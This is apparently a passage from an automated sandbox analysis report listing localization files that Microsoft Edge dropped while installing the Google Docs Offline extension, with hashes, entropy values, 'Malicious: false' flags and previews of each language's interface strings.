Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
